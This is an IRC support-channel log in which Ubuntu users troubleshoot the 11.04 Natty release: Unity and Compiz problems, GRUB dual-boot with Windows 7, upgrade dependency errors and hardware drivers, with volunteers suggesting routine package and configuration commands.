[08:24] <manOwl> I was thinking about maybe making a little GUI in python for it
[08:25] <manOwl> to create a bootable win 7 drive from linux
[08:25] <bp0> huh interesting
[08:26] <sakuramboo> durando: dont have a window selected, move the mouse to the top bar, you will see a "places" button, check there
[08:27] <durando> i tried that sakuramboo
[08:27] <mcurran> we need a good screenlet for xchat
[08:27] <manOwl> bp0: you promise not to steal my idea ;)?
[08:27] <sakuramboo> durando: what happens when you select Network?
[08:27] <MK``> This may sound strange but does anyone have torrent links for the old, unsupported versions like 4.10 and etc.?
[08:27] <durando> sakuramboo: that didn't seem to work well
[08:28] <sakuramboo> durando: you also have the "File" button and "Connect to Server", select windows share, enter the into and connect
[08:28] <Jordan_U> manOwl: You can write a microsoft style (chainload first "active" partition) mbr with "install-mbr" from the "mbr" pacakge.
[08:28] <lehel_> how do i costumize the top bar in 11.04 natty?
[08:28] <stefg> truepurple: and check in /etc/X11 ... if there is a xorg.conf then rename or delete it.. After a reboot you should have the situation before you installed the proprietary driver, then you can start over and install the open source one
[08:28] <thousands> I'm trying to use webcamstudio in ubuntu 11.04. It worked find in 10.10 and 10.04. But I can't get it working in 11.04. I think this might be important "Exception in thread "main" java.lang.UnsatisfiedLinkError: Unable to load library 'glib-2.0': libglib-2.0.so: cannot open shared object file: No such file or directory". Does anyone have any ideas?
[08:28] <manOwl> Jordan_U: and that works for win7 etc?
[08:28] <Jordan_U> manOwl: Yes.
[08:28] <durando> sakuramboo: trying that but i can't seem to unselect indows
[08:29] <virgilivs> yigal: suddenly, after toggling the zoom compiz plugin off and on again, now screen isnt updating.
[08:29] <bp0> manOwl, I promise.
[08:29] <manOwl> Jordan_U: cool
[08:29] <crlcan81> I will admit I know one thing that makes almost no sense to me, on the media player front for Ubuntu. As a music player/movie player, I've yet to see VLC be beat. plus it uses so little of my system the only thing I seen take this little is mpd based, and that cuts out your audio for any other program.
[08:29] <manOwl> :D
[08:29] <virgilivs> yigal: I think tomorrow I'll just do a fresh install
[08:29] <yigal> virgilivs: ok, but sometimes it's a good exercise to try and get the machine back up again
[08:30] <yigal> virgilivs: but time doesn't always permit
[08:30] <virgilivs> yigal: there are no records of any problems
[08:30] <mcurran> unetbootin works fine for creating bootable usb windows 7.  What you need is a live environment of windows 7 on usb, the whole os, not just friggin' those cheasy ghost images
[08:30] <Mitsukaru> FREDDYP: because your caps lock key is broken. fix your computer.
[08:30] <virgilivs> yigal: I can't pinpoint anything
[08:31] <truepurple> stegf Yeah: that is what I used last time when I force closed it before it could finish, but deleting that file left residue stuff in that didn't really work
[08:31] <yigal> virgilivs: you can always reinstall everything using apt
[08:31] <truepurple> I mean stefg
[08:31] <Mitsukaru> ooops, i was scrolled all the way up and didnt realize it xD
[08:31] <yigal> dpkg --get-selections > MyPackages
[08:31] <manOwl> mcurran: hm, i wonder if it would run successfully off of a usb stick like that.
[08:31] <yigal> virgilivs: and then use that list to reinstall everything
[08:32] <mcurran> a install would, but I want a live iso.
[08:32] <pfifo> !clone | yigal virgilivs
[08:32] <ubottu> yigal virgilivs: To replicate your packages selection on another machine (or restore it if re-installing), you can type « aptitude  --display-format '%p' search '?installed!?automatic' > ~/my-packages », move the file "my-packages" to the other machine, and there type « sudo xargs aptitude --schedule-only install < my-packages ; sudo aptitude install » - See also !automate
[08:32] <yigal> yes use aptitude if you're more comfortable with it
[08:33] <stefg> truepurple: google-fu, 2nd part: "ubuntu natty fglrx uninstall" turns up https://help.ubuntu.com/community/RadeonDriver
[08:33] <keithtoo> thousands: do apt-get install libglib2.0-0 and see if that helps
[08:33] <phibxr> is it possible to configure unity/compiz to darken the rest of the desktop while asking for root access?
[08:33] <virgilivs> ok, thanks
[08:34] <cpoulsen> does anyone know how i can make ubuntu classic the default in GDM login?
[08:34] <virgilivs> i switched over from Arch because I was spending too much time administering the system :)
[08:34] <stefg> cpoulsen: doesn't gdm remember your last choice?
[08:34] <thousands> nope keithtoo. That didn't help. I still get the same message =(
[08:35] <yigal> virgilivs: ya I did also :)
[08:35] <Altheas> hey, i just recently installed 11.04 but for some reason the only way i can navigate in it is if i login with ubuntu classic GUI. When i try to login with unity the top bar and the dock does not show up. any ideas?
[08:35] <virgilivs> brb... Im going to simply try to log out/in just to get X working again
[08:35] <cpoulsen> stefg: nope it doesnt seem to
[08:36] <Incarus6> Altheas, same happens to me
[08:36] <truepurple> stefg: I had that link, but thanks
[08:36] <yigal> cool
[08:36] <Altheas> Inacrus6, have you heard any solutions? or heard what the problem might be?
[08:36] <durando> this new format to ubuntu is going to turn me into a debian user
[08:37] <keithtoo> thousands: did that also pull up libglib2.0-bin? Might need that too
[08:37] <stefg> virgilivs: /sarcasm: Now you spend the time in endless mouse travels to the global menu and clicking 5 times just to start an application. /sarcasm off
[08:37] <pfifo> durando, try rolling arch
[08:38] <durando> rolling arch?
[08:38] <stevegza> I have to agree about the new interface - not sold on it and think there is a ton of work to optimise amount of clicks
[08:38] <Incarus6> Altheas, I heard you have to install compiz-gnome, that didn't work for me. I think some packages are missing and the dependencies are just wrong / buggy. Unity 2D works for me
[08:38] <pfifo> durando, archlinnux rolling release
[08:38] <borys> halo
[08:38] <Mitsukaru> rolling releases ROCK! >:O
[08:39] <Altheas>  Incarus6, alright i'll give it a try and i'll get back to you if it ended up working out or not
[08:39] <lehel_> in 11.04 can the top bar be costumized and if yes how do i do that? Can anyone help thanks
[08:39] <thousands> Err, I don't think so. So I just did an install of it, but it says it's already installed. Like it said the first thing was already installed. And webcamstudio still gives the same message and refuses to start
[08:39] <Incarus6> Altheas, roger. I will look for a solution
[08:39] <zetheroo> for some reason my Skype icon is just a tiny green dot in 11.04 ... any ideas of how to sort this out?
[08:40] <rain> open system monitor and kill skype then open from the app list, should fix it
[08:42] <Incarus6> Who got problems with Upgrading to 11.04?
[08:43] <sakuramboo> not with upgrading, just managing now that its running ;)
[08:43] <keithtoo> thousands: check in your lib directory for that lib - on my system it's  /lib/i386-linux-gnu/libglib-2.0.so.0
[08:44] <Mitsukaru> does anyone know how to organize the items in the Launcher? like, re-order them? when i try dragging and dropping to a different place, it just drags the whole launcher instead of the item i clicked.
[08:44] <chadi> hello world. do you guys have any idea if it is possible to play with the width/length of the individual minimize/maximize/close buttons?
[08:44] <MortenTemp> Hi, can anyone recommend a DLNA server?
[08:44] <sakuramboo> Mitsukaru: click on the icon and hold it until the icon "lifts up"
[08:44] <Mitsukaru> oh, thanks sakuramboo!
[08:45] <crlcan81> chadi: I was wondering something along those lines as well. I want to alter where they're located on mine.
[08:45] <Mitsukaru> sakuramboo: is there some official documentation or tutorial or something for the new launcher in unity?
[08:45] <vng> Can I add more workspaces in 11.04?
[08:45] <Mitsukaru> chadi: learn to create themes, then you can make it look like anything you want
[08:46] <chadi> crlcan81, the only thing I know is that there's a gconf entry to move them from left to right
[08:46] <lumbert> pfifo, still around?
[08:46] <red2kic> Morten_: Ushare? Just a guess.
[08:46] <crlcan81> chadi Where is that? I forgot about gconf.
[08:46] <Morten_> red2kic, I will take a look at it, thanks :)
[08:46] <crlcan81> found it
[08:46] <pfifo> lumbert, yeah
[08:47] <red2kic> Morten_: mediatomb and minidlna turns up too. You have to mess with it to find it. :(
[08:47] <crlcan81> chadi: gconf-editor?
[08:47] <lumbert> pfifo, i was using a usb 3.0 port
[08:48] <lumbert> pfifo, used a 2.0, fixed
[08:48] <chadi> crlcan81, doesn't work on unity in maximized form, though
[08:48] <Morten_> red2kic, ok - I think I will try the ushare first, and then give the other ones a try :) thanks
[08:48] <crlcan81> crap..
[08:48] <thousands> I'm not great at this, so i'm not 100% sure if you mean this. But I found libglib-2.0.so.0 in /lib64/x86_64-linux-gnu  and also in /lib32  but they're both links to libglib-2.0.so.0.2800.6
[08:48] <pfifo> lumbert, ahh, that makes no sense, but ill jot that issue down
[08:49] <Elladan> So, now that ubuntu has officially jumped the shark with this natty stuff, what distro should I switch to?
[08:49] <crlcan81> chadi: My normal windows are fine, it's the maximized one I want to alter.
[08:49] <snowrichard> i'm doing the upgrade for 11.04.  I hope it finishes downloading all the packages before my free download time window stops at 6 am
[08:49] <keithtoo> thousands: I'm stumped there... seems that if the links are there, the prog should roll
[08:49] <sakuramboo> in the launcher, if i open a program once, is there a way to click the icon a second time and have it open a new window?
[08:50] <Tweaky> what is the preferred website to paste screenshots?
[08:50] <thousands> =\ well thanks for trying to help. I guess I'll have to ask elsewhere
[08:50] <lumbert> pfifo, now that i'm inside, its not detecting my usb 3.0 HDD - i'd assume the two problems are related?
[08:50] <atlef> !paste | Tweaky
[08:50] <ubottu> Tweaky: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.
[08:50] <chadi> crlcan81, it's one of the reasons I gave up on unity :-)\
[08:50] <vng> Is there any document about unity?
[08:50] <Incarus6> snowrichard, I had to download 2,5 GB :D
[08:50] <Jordan_U> snowrichard: You can always continue it another day if it doesn't. Any packages already downloaded will be kept.
[08:50] <Ciccio89> ciao ragazzi! ho un problema con ubuntu 11.04: praticamente non riesco ad attivare gli effetti visivi :( ho una scheda nvidia geforce go 7300 e i driver installati sono quelli proprietari che raccomanda ubuntu. qualcuno può aiutarmi?
[08:51] <snowrichard> yeah i though so
[08:51] <jibadeeha> anyone find ubuntu doesn't shutdown properly .. just hangs
[08:51] <Elladan> I gave up on unity after about 1 minute in 11.04, however, Natty seems to have broken regular gnome to the point of unusability too.
[08:51] <Incarus6> lumbert, are you sure USB 3.0 is supported in your linux kernel? (Are you using 11.04?)
[08:51] <pfifo> lumbert, my guess, is that usb30 kernel modules have not made it into the initramfs/livecd
[08:51] <Tuxx> <3 the new ubuntu
[08:52] <lumbert> i'm trying this gnome device manager, so i can attempt to determine if its not recognized, linux nub :(
[08:52] <adzy> anyone know how i get the new launcher bar to appear ?
[08:52] <pfarrell_> hi! I hope someone can help me: I'm at my wits end. I have a dell e6510 and my touchpad is driving me crazy. it is one of the new touchpads that isn't recognised as a touchpad by the kernel, and so I can't use synclient to disable the touchpad while typing, basically making typing impossible. I've googled and googled, and there are a million different bugzilla/launchpad threads, but I can't actually find a solution! can anyone pleas
[08:52] <pfarrell_> e help?
[08:52] <Tweaky> hello! im having diffulty with upgrading to 11.04 .... http://imagebin.org/150956
[08:53] <Braiam> so, what's the name of the bar at left in unity?
[08:53] <lumbert> pfifo, is that to say if i installed the full version it would recognize my external 3.0 drive?
[08:53] <Elladan> So how do I un-break Compiz in natty?  It is literally impossible to move windows without having it explode and start randomly maximizing them and stuff.
[08:54] <Elladan> Also, the compiz settings for which windows to scroll and workspace switch are totally broken.
[08:54] <Incarus6> Tweaky, pls paste /var/log-dist-upgrade/apt.log and main.log
[08:54] <chazwoza> hi all
[08:54] <Incarus6> Braiam, launcher maybe?
[08:54] <abhinav> how do I install gnome3 ? I have the official PPA added, and some websites mention installing gnome3-desktop or gnome-desktop3. Neither is showing up in synaptic
[08:54] <chazwoza> does anyone know how to make Ubuntu Classic the default sesssion in 11.04 ? It doesnt save after I choose it and log in :(
[08:54] <pfifo> lumbert, speaking from the linux kernel standpoint, USB 3.0 is supported... in ubuntu i have no idea
[08:55] <Incarus6> Tweaky, this error is caused by unmatched dependencies when you use foreign repos
[08:55] <botcity> Elladan, can you access compiz?
[08:55] <Jordan_U> Tweaky: Are you using (or have you used) any third party repositories / ppas?
[08:55] <Jordan_U> !gnome3 | abhinav
[08:55] <ubottu> abhinav: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[08:55] <abhinav> chazwoza: Yes, go to adminstration-> Login screen
[08:55] <Tweaky> Jordan_U: im using several repositories yes
[08:55] <abhinav> Jordan_U: I understand that. Nevertheless.. how do I install it ?
[08:55] <chazwoza> abhinav: thanks
[08:56] <chazwoza> :)
[08:56] <Jordan_U> Tweaky: Uninstall any applications that are not from the standard repositories.
[08:56] <Incarus6> Jordan_U, I will help Tweaky fixing the dependencies
[08:56] <Elladan> botcity: I'm attempting to fix it in the compizconfig tool, except that Natty /also/ broke the tool to the point of nonfunctionality
[08:56] <Flynsarmy> Hey guys I installed 11.04 in Virtualbox-4.0. As expected, unity didn't load so it went to gnome classic. all fine so far but after a reboot, gnome classic now looks like this http://dl.dropbox.com/u/7629436/Screenshot-1.png any ideas on how to fix that?
[08:56] <Incarus6> Tweaky, pls paste the files
[08:56] <stefg> pfarrell_: have you tried setting up a udev-rule ? http://www.bhagwad.com/blog/2010/technology/alps-synaptics-touchpad-configuration-in-lucid-lynx-ubuntu-10-04.html
[08:56] <Tweaky> incarus6: one sec
[08:56] <resc_user_2649> my ubuntu linux is not booting with window 7.. what will i do
[08:56] <atlef> Flynsarmy, install the vbox additions
[08:56] <pfarrell_> stefg: I have not, I'll do that now
[08:57] <Incarus6> resc_user_2649, is grub shown up correctly?
[08:57] <pfarrell_> but I don't think it will work, because nothing "synaptics" has worked
[08:57] <atlef> *guest additions
[08:57] <resc_user_2649> no
[08:57] <pfarrell_> I don't think the touchpad is recognised as having anything to do with "synaptics"
[08:57] <stefg> pfarrell_: http://askubuntu.com/questions/14178/how-to-disable-touchpad-on-dell-latitude-e-series-e5510-e6510 here you have
[08:57] <resc_user_2649> grub menu is not showing
[08:57] <Jordan_U> resc_user_2649: Which OS is not booting. Ubuntu or Windows (or both)?
[08:57] <botcity> Elladan, if you can get there there is a reset in  ccsm >> preferences >>reset to default
[08:57] <resc_user_2649> ubuntu
[08:57] <Tweaky> incarus6: i dont see those files listed
[08:57] <Jordan_U> resc_user_2649: What happens when you boot?
[08:57] <pfarrell_> stefg: that askubuntu is how to disable it completely: but what if I don't have another mouse?
[08:58] <resc_user_2649> ubuntu is not booting and window 7 boot smoothily
[08:58] <pfarrell_> stefg: I want instead to have it recognised as a touchpad by the system
[08:58] <Flynsarmy> atlef: why would it have looked fine the first load but not the second?
[08:58] <pfarrell_> stefg: so that it can be disabled while typing
[08:58] <Laibsch> Hi, I'm looking for help to get back a working initramfs to boot my encrypted LVM: https://answers.launchpad.net/ubuntu/+source/initramfs-tools/+question/154973/
[08:58] <Incarus6> Tweaky, it was a type, /var/log/dist-upgrade/apt.log and main.log
[08:58] <resc_user_2649> dirertily enter to window 7
[08:58] <Jordan_U> resc_user_2649: Do you have more than one hard drive?
[08:58] <atlef> Flynsarmy, sorry, no idea
[08:58] <resc_user_2649> onlu one hard drive
[08:59] <resc_user_2649> i downloaded rescatux and how will use ths to solve booting
[08:59] <Elladan> botcity: That doesn't help, because I need it to set compiz to some sort of /sane/ defaults, not the psychotic insanity in Natty
[08:59] <Tweaky> incarus6: oh.. hidden directory alrgiht sec
[08:59] <SpaceRain> Hi. :)
[08:59] <Jordan_U> resc_user_2649: Did you install Ubuntu first or Windows first?
[09:00] <atlef> Flynsarmy, it look like that the first time i logged in, did not even reboot it
[09:00] <atlef> *looked
[09:00] <resc_user_2649> the problem comes wen i reinstall window 7
[09:00] <chadi> I disabled overlay scrollbars as in this tutorial http://www.streamreader.org/askubuntu/questions/34214/how-do-i-disable-overlay-scrollbars but it only gets disabled for my own user, not if I use sudo... why is that?
[09:00] <resc_user_2649> after that i installed ubuntu lated version(upgraded using cd)
[09:00] <chadi> I used the global approach
[09:00] <Flynsarmy> atlef: installing them helped. thanks
[09:00] <pfarrell_> this is really awful
[09:00] <SpaceRain> This is seriously off-topic, but does anyone know how to use grooveshark.com?
[09:01] <pfarrell_> it makes the whole computer unusable when you can't fecking type :-(
[09:01] <atlef> Flynsarmy, yw
[09:01] <ejv> ask in #ubuntu-offtopic SpaceRain, you should know better. :P
[09:01] <SpaceRain> Unfortunately I don't, ejv. :)
[09:01] <botcity> Elladan, can you log out and back in to classic ubuntu i think you may be able to set it there ?
[09:01] <ejv> in that case
[09:01] <test> hello
[09:01] <ejv> !ot | SpaceRain
[09:01] <ubottu> SpaceRain: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[09:01] <resc_user_2649> when i upgraded ubuntu.. ubuntu booted well.. but not window 7.. so i repard window 7 boot loader uisng window 7 cd.. now window 7 only booting
[09:01] <test> can sb help me
[09:01] <SpaceRain> Thank you. :)
[09:01] <ejv> !ask | test
[09:01] <ubottu> test: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[09:01] <test> i bought new harddrive
[09:02] <test> and i need an operating system
[09:02] <nandaram> is there information on upgrading lts older to lts now
[09:02] <Incarus6> Tweaky, I meant a *typo, sry, its early in the morning here ;)
[09:02] <nandaram> test: buy a geek and make him install one
[09:02] <Elladan> botcity: No, I'm saying Natty is broken to the point of unusability even when I log in to "classic ubuntu"
[09:02] <test> but i dont want unity
[09:02] <test> so is it better to use kde ?
[09:02] <Tweaky> incarus6: http://pastebin.com/LkVkbvWf http://pastebin.com/Y2w7knSW and yeah, its 4am here heh i understand
[09:02] <MK``> This may sound strange but does anyone have torrent links for the old, unsupported versions like 4.10 and etc.? They seem to have been removed from the old-releases server, yet ironically the isos have not been. I don't want to hammer the server, I'd rather use the torrent.
[09:02] <botcity> Elladan, oh lol sorry !
[09:03] <Incarus6> test, you can also try the classic gnome. Pls ask in one line next time
[09:03] <Elladan> botcity: Like, I literally can't place windows into positions on the screen, because the WM goes insane and starts maximizing stuff at random like some crazy person designed it
[09:03] <nandaram> test: is what better then kde?
[09:03] <stefg> Laibsch: My first cheap attempt would be  "sudo dpkg-reconfigure lvm && sudo update-initramfs -u -k all" in the hope that lvm becomes aware again of the encrypted volume and writes that to initramfs
[09:03] <test> Incaru6, nandaram: yesm but i heart in 11.10 not
[09:03] <Elladan> botcity: I literally can't get the compizconfig tool to work, because the wm is so broken it bounces around and goes off the screen so I can't hit the back button etc
[09:03] <Incarus6> Tweaky, ok, I can see the problem on the first look
[09:04] <test> Incarus6, nandaram: yes but i heart in 11.10 not
[09:04] <Jordan_U> Elladan: metacity --replace
[09:04] <nandaram> test: ysem is a wm?
[09:04] <test> no kde i meant
[09:04] <ejv> !enter | test
[09:04] <ubottu> test: Please try to keep your questions/responses on one line. Don't use the "Enter" key as punctuation!
[09:04] <nandaram> ubottu: but but
[09:04] <blackdoggy> anybody having problems with dual  screen with nvidia in 11.04?
[09:05] <test> nandaram: The question kde or gnomeclassic
[09:05] <test> in my openion in 11,.10 isnt anymore classic
[09:05] <Tweaky> incarus6: what do i need to do ><
[09:05] <Elladan> Jordan_U: Compiz worked fine in 10.10 -- Natty is just unusable.
[09:05] <Incarus6> Tweaky, you used foreign graphic driver repos. pls paste "cat /var/log/dist-upgrade/apt.log | grep Broken"
[09:05] <nandaram> test: um super bloat or ubuntu bloat?
[09:05] <test> what ?
[09:05] <Jordan_U> resc_user_2649: http://rescatux.berlios.de/wiki/Main_Page#Recover_Grub_option
[09:05] <nandaram> i prefer light linux with gnome libs or less
[09:05] <pfui> when i boot up from the live cd and choose "try ubuntu" it just sits there and does nothing, is that a problem with my pc?
[09:06] <nandaram> but better is more of an opinion
[09:06] <Incarus6> test, the standard desktop is now Unity. you can choose the classic gnome when logging in
[09:06] <nandaram> i hate kde... =)
[09:06] <arnab> i kinda liked it
[09:06] <pfifo> !usb3
[09:06] <Jordan_U> Elladan: If you have metacity installed then "metacity --replace" should allow you to use windows normally to run ccsm.
[09:06] <test> Incarus6: yes, but i cant change in 11.10 !!
[09:06] <nandaram> unity is a kde gnome mix?
[09:06] <pfifo> is usb3 suported
[09:06] <arnab> i wonder how does kubuntu 11.04 compare to unity
[09:06] <Incarus6> test, ist there an option "Ubuntu Classic"?
[09:06] <test> in 11.04 yes
[09:06] <nandaram> pfifo: more then likely it works on my non ubuntu kernel since like last year
[09:06] <Elladan> Jordan_U: Right, but where are the settings to disable all the Natty insanity?
[09:06] <test> in 11,10 not
[09:07] <Incarus6> arnab, Kubuntu is working perfectly for me - Unity is not.
[09:07] <resc_user_2649> i already done whatever on rescatux but...the error message says that ... something went wrong grub do not installed
[09:07] <nandaram> if ubuntu when to kde im definetlly uninstalling asap
[09:07] <nandaram> i thought it had a chance but after trying to find a way to get 8 ttys up
[09:07] <Jordan_U> resc_user_2649: Is your Ubuntu install 64 bit?
[09:07] <Laibsch> stefg: Thank you for having a look.  I did the update-initramfs part already but I'm not sure if I reconfigured lvm.  I'll do that.  Let's see if it helps.
[09:07] <Tweaky> incarus6: http://pastebin.com/PBkwbpzS
[09:07] <test> Incarus6: i think, gnome 2 is very old is it
[09:07] <nandaram> and the mounts of upstart backcrap
[09:08] <eloystebam> !dedicatoria <nandaram>
[09:08] <nandaram> when it didnt even seem used i couldnt even grep the /etc and find the vt7
[09:08] <Incarus6> test, it is gnome 2.32 at the moment. the newer version is gnome3
[09:08] <eloystebam> !dedicatoria nandaram
[09:08] <Incarus6> !gnome3 | test
[09:08] <ubottu> test: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[09:08] <resc_user_2649> 64 bit ubuntu
[09:08] <arnab> Incarus6, just as i expected... i should read some reviews of kubuntu i think. in the end i may decide to switch to that.
[09:08] <test> the thing is
[09:08] <stefg_natty> Laibsch: the point is to that /after/ lvm reconfiguration, so the new lvm-conf gets into the initramfs
[09:08] <Jordan_U> resc_user_2649: What is the output of "uname -m"?
[09:08] <test> i HATE !! unity and gnome3
[09:08] <nandaram> Incarus6: nice then ill keep trying is there an easy way to get 8ttys for force xorg to tty9
[09:09] <Incarus6> Tweaky, now paste "apt-cache policy xserver-xorg-core"
[09:09] <nandaram> test: change is good. keep trying to hate your impotence
[09:09] <Laibsch> stefg: yes, understood.  Thank you.  I'll have a look
[09:09] <resc_user_2649> what is uname-m
[09:09] <test> so what can you recommend me
[09:09] <atlef> test, why don't you use 10.10
[09:09] <Incarus6> nadaram, are you sure you are talking to me?
[09:10] <test> atlef: why 10,10? why not 11.04
[09:10] <nandaram> Incarus6: yes you seem knowledgeable have you ever used a console?
[09:10] <Elladan> Jordan_U: I mean, I can thrash the thing until the tool kind of works, but I'm having a lot of trouble finding out what bizarre settings those crackheads at Canonical came up with in a drug-crazed stupor when they were designing the Natty UI.
[09:10] <nandaram> Jordan_U: your here?
[09:10] <nandaram> lol
[09:10] <Incarus6> arnab, just install "kubuntu-desktop" and give it a try ;)
[09:10] <Jordan_U> nandaram: Yes.
[09:10] <erni> ciao a tutti
[09:10] <Tweaky> incarus6: http://pastebin.com/Rzu4QH00
[09:10] <test> nandaram, Incarus6 you do not understand me
[09:11] <Jordan_U> Elladan: Please stop with insults. It's not neccessary.
[09:11] <Incarus6> nandaram, of course, but I don't know how to force Xorg to start in a special tty. whats the exact problem?
[09:11] <test> nandaram, Incarus6 you do not understand me
[09:11] <Incarus6> Tweaky, Ah, as I expected
[09:11] <Flynsarmy> atlef: Spoke too soon. Now both Ubuntu and Ubuntu Classic seem to load Ubuntu Classic, but they seem to load it with the proper theme then switch to the theme in my screenshot :S
[09:11] <pfui> when i boot up from the live cd and choose "try ubuntu" it just sits there and does nothing. any ideas?
[09:11] <test> nandaram, Incarus6 you do not understand me
[09:12] <arnab> Incarus6, should i go that route and somehow finally choose not to get back to gnome, is there an easy way to clear the system of all  kubuntu-desktop packages? i have only 8gb of hard disk space.
[09:12] <Incarus6> Jordan_U, test, nadaram left. And what do I not understand?
[09:12] <Tweaky> incarus6: is that good or bad lol
[09:12] <Vustom> I don't seem to have the "Open with..." option when right clicking things in Ubuntu 11.4.. any idea how to fix this?
[09:12] <Robert__> I have a virtualbox question can any one help?
[09:12] <Vustom> For example, like a .desktop extention.
[09:12] <atlef> Flynsarmy, hmm, have not experienced that, yet
[09:12] <botcity> Elladan, was natty ok when you installed it ? i thought that you just messed up your settings ?
[09:13] <test> Incarus6: the thing is, 11.04 has gnome, 11,10 not
[09:13] <arnab> yeah Robert__ .
[09:13] <stefg_natty> Robert__: there's #vbox ... if it's ubuntu-host related it might fit in here
[09:13] <test> righ t Incarus6?
[09:13] <Incarus6> arnab, Im not sure, I heard that you can simpley remove "kubuntu-desktop", but that never worked for me. I use a lot "aptitude autoclean" and "apt-get autoremove"
[09:13] <Elladan> botcity: Of course it wasn't.  I'm using the Natty defaults, and they are an unusable broken WM configuration.
[09:13] <arnab> ahh ok, thanks Incarus6
[09:13] <Incarus6> test, are you using 11.10?
[09:13] <test> Incarus6: no but at october 2011
[09:14] <sudipta> I have installed natty yesterday.After installing propietary nvidia driver unity interface does no respond at all...any help?
[09:14] <Elladan> botcity: I'm trying to find out what sort of bizarre insanity Canonical came up with when they were defining stuff like the edge drag behavior so I can configure it into some sort of minimally useful form
[09:14] <test> and many articles said there isnt anymore an gnome classicall
[09:14] <Tweaky> incarus6: so what do i do?
[09:14] <Incarus6> Tweaky, its goot that we found the solution, but the solution isn't that easy, you have to start the upgrade several times after we fixed it and that takes a lot time
[09:14] <Incarus6> Tweaky, first you have to disable all foreign repo sources
[09:15] <test> Incarus6: no but at october 2011
[09:15] <test> and many articles said there isnt anymore an gnome classicall
[09:15] <usalabs> do not use 11.04 unity, it is useless, there is no taskbar that is relied upon by progs such as cryptkeeper, use classic by starting the login screen app, then change the session to 'Classic'
[09:15] <Robert__> arnab__; stefg_natty__: iv gone to great lengths to make this thing work but but vbox will not let me boot from a usb or from a cd or anything really
[09:15] <Tweaky> incarus6: how do i know which are foreign
[09:15] <Incarus6> test, I think oneiric got gnome too: http://packages.ubuntu.com/oneiric/gnome
[09:15] <Incarus6> Tweaky, every repo, that is not ubuntu.com
[09:15] <test> hm
[09:16]  * vibhav is ready to help others!
[09:16] <sudipta> I have installed natty yesterday.After installing propietary nvidia driver unity interface does no respond at all...any help?
[09:17] <vibhav> <sudipta> lemme see
[09:17] <stefg_natty> Elladan: instead of getting upset i think you should just accept the fact that you are not in the target audience for unity. I'm p*ssed, too that Canonical picked up the nasty habbit of breaking my setup with every update. Unity is a take-it or leave-it thing, and as things semm, you should rather leave it and pick classic or even emigrate to mint
[09:17] <Robert__> arnab__; stefg_natty__: iv gone to great lengths to make this thing work but but vbox will not let me boot from a usb or from a cd or anything really
[09:17] <Elladan> stefg_natty: Yeah, you're right.
[09:17] <sudipta> vibhav:yes...pls do...
[09:17] <laughzilla> anyone using ubuntu 11.x ?
[09:17] <Elladan> stefg_natty: I'm just going to reformat tomorrow and install some other OS.  Ubuntu is clearly not going to get any better.
[09:18] <resc_user_2649> i am using 64 bit ubuntu and 32 bit window 7
[09:18] <sudipta> <laughzilla>yeah...i am
[09:18] <Micael> Hello i have installed ubuntu 10.10 on my laptop but now i cant start it i only come to a sign that say my laptops name and i cant press anything
[09:18] <Elladan> stefg_natty: Is mint decent?
[09:18] <vibhav> <sudipta> believe Unity requires 3D graphics. So if there is an open driver that can do that, you don't require proprietary drivers.
[09:18] <Robert__> arnab__; stefg_natty__: hello
[09:18] <stefg_natty> Robert__:which version are you running?
[09:18] <Incarus6> Tweaky, then create an empty directory in your home dir, that we can download several deb files. I'll prepare a long command for you, that will take some time
[09:18] <laughzilla> sudipta - i just upgraded to it yesterday and i can't seem to mount my data drive (separate physical drive from my os drive).
[09:18] <sudipta> <vibhav>which open driver should i use?
[09:19] <Incarus6> !nouveau | sudipta
[09:19] <ubottu> sudipta: nouveau is an open-source nvidia driver included by default in 10.04. Currently 3D rendering is unsupported. More information can be found in http://nouveau.freedesktop.org/wiki/ - See also !nvidia
[09:19] <Poshepocket> How do I get rid of this disastrous DOCK of 11.04?
[09:19] <laughzilla> sudipta - my data drive is not partitioned, according to Disk Utility
[09:19] <resc_user_2649> Helo anybody there to help me.. ubuntu is not booting with window 7 is my problem
[09:19] <Robert__> stefg_natty__: 10.04
[09:19] <Tweaky> icarus6: hm alright ive disabled them all
[09:19] <casperfoo> Elladan: I caught your conversation part way thru but did you upgrade and then have compiz troubles?
[09:19] <Elladan> Ok, there we go btw: if you disable the "grid" plugin in compiz, it's possible to place windows without the WM going insane on you.
[09:20] <mbrochh> when i log out my session and log in again it often happens that the top panel loses its theme (using unity)... how can i restore it?
[09:20] <laughzilla> sudipta - is it possible to create a partition on a disk that already has data on it, without losing that data?
[09:20] <sudipta> <Incarus6>can u pls give me the command to install it....there r lot of nouveau in the repo
[09:20] <Incarus6> !grub | resc_user_2649
[09:20] <ubottu> resc_user_2649: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[09:20] <Vustom> Is anyone else having trouble checking their Update Manager? I get "Check your internet connection." but my internet is just fine.
[09:20] <Robert__> stefg_natty__:10.04
[09:20] <sudipta> <laughzilla>i dont think so
[09:20] <drk-matr> How do you reduce unity search(I think its called lens) function?
[09:20] <Incarus6> sudipta, install it the graphical way (jockey)
[09:21] <Jordan_U> resc_user_2649: What is the output of "uname -r"?
[09:21] <sudipta> <laughzilla>formatting will make the drive empty
[09:21] <vibhav> <sudipta> http://paste.ubuntu.com/601200/
[09:21] <stefg_natty> Robert__: i run vbox 4.0.6 PUEL on lucid (with maverick-backport kernel) without issues... does booting from a iso-image (not the physical host drive) not work either?
[09:21] <laughzilla> sudipta - so i thought. that's frustrating.  how come ubuntu 11.x can't mount an unpartitioned disk, but ubuntu 10.10 could?
[09:21] <resc_user_2649> actually i dont know what is uname-r
[09:22] <Guest4840> resc_user_2649, type that in terminal
